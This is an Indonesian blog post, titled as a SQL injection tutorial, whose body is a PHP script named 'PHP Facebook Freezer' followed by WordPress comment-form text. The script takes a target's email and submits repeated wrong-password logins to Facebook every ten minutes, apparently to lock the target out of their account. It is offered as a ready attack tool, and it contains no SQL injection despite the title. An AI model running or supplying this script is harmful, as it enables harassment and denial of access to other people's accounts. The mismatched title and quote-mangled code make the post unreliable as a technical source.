Step by step SQL injection,hack mukabuku!!!

Ini versi phpnya:

<?
echo “<html><title>PHP Facebook Freezer</title><head><meta http-equiv=\”refresh\” content=\”600\”></head><body>”;
echo ”
<form method=post>Email :

“;
$email=$_POST[’email’];
$passwd=’123′;
if(isset($email) && isset($passwd)){
$kue=”/tmp/”.rand().”.txt”;
$url=’https://login.facebook.com/login.php&#8217;;
$login=”email=$email&pass=$passwd&login=Log In”;
define(“_COK_”, $kue);
curlget($url);
for ($number=1; $number<=30; $number++) {
$data=curlpost($url,$login);
}
echo $data;
}
function curlget($url){
$agent=$_SERVER[‘HTTP_USER_AGENT’];
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $agent);
curl_setopt($curl, CURLOPT_RETURNTRANSFER ,1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($curl, CURLOPT_ENCODING, “”);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_COOKIEFILE, _COK_);
curl_setopt($curl, CURLOPT_COOKIEJAR, _COK_);
$data = curl_exec($curl);
curl_close ($curl);
return $data;
}
function curlpost($url,$post){
$agent=$_SERVER[‘HTTP_USER_AGENT’];
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $agent);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_ENCODING, “”);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER ,1);
curl_setopt($curl, CURLOPT_COOKIEFILE, _COK_);
curl_setopt($curl, CURLOPT_COOKIEJAR, _COK_);
$data = curl_exec($curl);
curl_close ($curl);
return $data;
}
echo “</body></html>”;
?>

Tinggalkan komentar

Belum ada komentar.

Comments RSS TrackBack Identifier URI

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s